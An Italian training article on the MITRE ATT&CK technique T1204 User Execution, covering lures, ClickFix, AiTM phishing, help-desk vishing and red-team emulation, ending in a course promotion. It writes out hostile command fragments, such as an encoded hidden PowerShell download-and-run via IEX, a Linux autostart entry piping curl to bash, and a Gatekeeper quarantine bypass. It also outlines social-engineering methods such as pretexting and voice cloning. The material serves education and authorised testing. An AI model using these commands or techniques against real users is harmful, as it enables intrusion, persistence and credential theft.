Esecuzione Utente: User Execution (T1204)

La tecnica T1204 - User Execution descrive quel momento critico in cui la sicurezza di un intero perimetro dipende da un singolo click. Rientra nella tattica TA0002 (Execution) del framework MITRE ATT&CK e rappresenta il ponte più frequente tra la fase di Initial Access — spesso ottenuta tramite phishing — e l'esecuzione effettiva di codice ostile sull'endpoint.

A differenza delle tecniche che sfruttano vulnerabilità software, qui l'attaccante sfrutta una vulnerabilità cognitiva: convince l'utente ad aprire un allegato, cliccare un link, incollare un comando nella finestra Esegui, o autorizzare un prompt MFA. La tecnica compare anche in fasi successive dell'intrusione, ad esempio quando un file malevolo viene depositato in una condivisione di rete o sul desktop nella speranza che qualcuno lo lanci.

I dati MITRE censiscono 2 gruppi APT (LAPSUS$ e Scattered Spider), 2 famiglie malware (Raspberry Robin e Lumma Stealer), 1 campagna documentata (Water Curupira Pikabot Distribution) e 6 mitigazioni ufficiali. L'impatto operativo è trasversale: dalle intrusioni ransomware guidate da BlackBasta alle campagne di credential theft con Lumma Stealer, passando per gli attacchi di social engineering diretti al service desk. Comprendere User Execution significa accettare che l'utente finale è simultaneamente il bersaglio, il vettore e la prima linea di difesa.

In un red team engagement autorizzato, T1204 si declina in scenari che replicano fedelmente le catene reali osservate in campagne come Water Curupira Pikabot Distribution. Il primo asse operativo è la costruzione di lure convincenti: documenti Office con macro, file ISO/IMG con LNK annidati (pattern usato da Raspberry Robin), oppure la tecnica ClickFix resa celebre da Lumma Stealer, dove un finto CAPTCHA istruisce la vittima a premere Win+R, incollare (Ctrl+V) un payload PowerShell già copiato negli appunti tramite JavaScript, e premere Invio.

Per la generazione dei payload documentali, Maldev Academy toolkits, donut (open source) per la conversione di PE in shellcode e Nim/Rust loaders rappresentano lo stato dell'arte. Su Windows, un tipico comando di secondo stadio incapsulato in un LNK potrebbe invocare powershell.exe -nop -w hidden -enc dove il blocco codificato scarica lo stage successivo tramite IEX (New-Object Net.WebClient).DownloadString(...). Per simulare la clipboard hijack di Lumma, uno snippet JavaScript su una landing page usa navigator.clipboard.writeText() per iniettare il comando.

Sul fronte del delivery, GoPhish (open source) resta il framework di riferimento per campagne di phishing simulato, mentre Evilginx3 (open source) permette di replicare gli attacchi AiTM con bypass MFA usati da Scattered Spider. Per la parte di vishing e social engineering vocale — vettore preferito da Scattered Spider contro help desk aziendali — la preparazione include script di pretexting, spoofing del CLI tramite servizi VoIP e, in scenari autorizzati, l'uso di voice cloning con strumenti come ElevenLabs (freemium).

Una catena realistica su macOS parte da un DMG scaricato che contiene un'app non firmata; la vittima viene istruita a bypassare Gatekeeper via xattr -d com.apple.quarantine /Applications/FakeApp.app prima di eseguirla. Su Linux, uno script .desktop con Exec=bash -c 'curl <endpoint> | bash' in ~/.config/autostart garantisce persistenza dopo il primo lancio.

Per i test contro help desk in stile Scattered Spider, l'obiettivo è ottenere l'installazione di RMM legittimi come AnyDesk, ScreenConnect o TeamViewer (tutti freemium). La procedura simulata prevede una chiamata al service desk fingendosi un dipendente, la richiesta di reset MFA o l'induzione all'esecuzione di un installer .msi firmato. Atomic Red Team (open source) fornisce test T1204.001 e T1204.002 pronti per validare la detection senza sviluppare payload custom.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.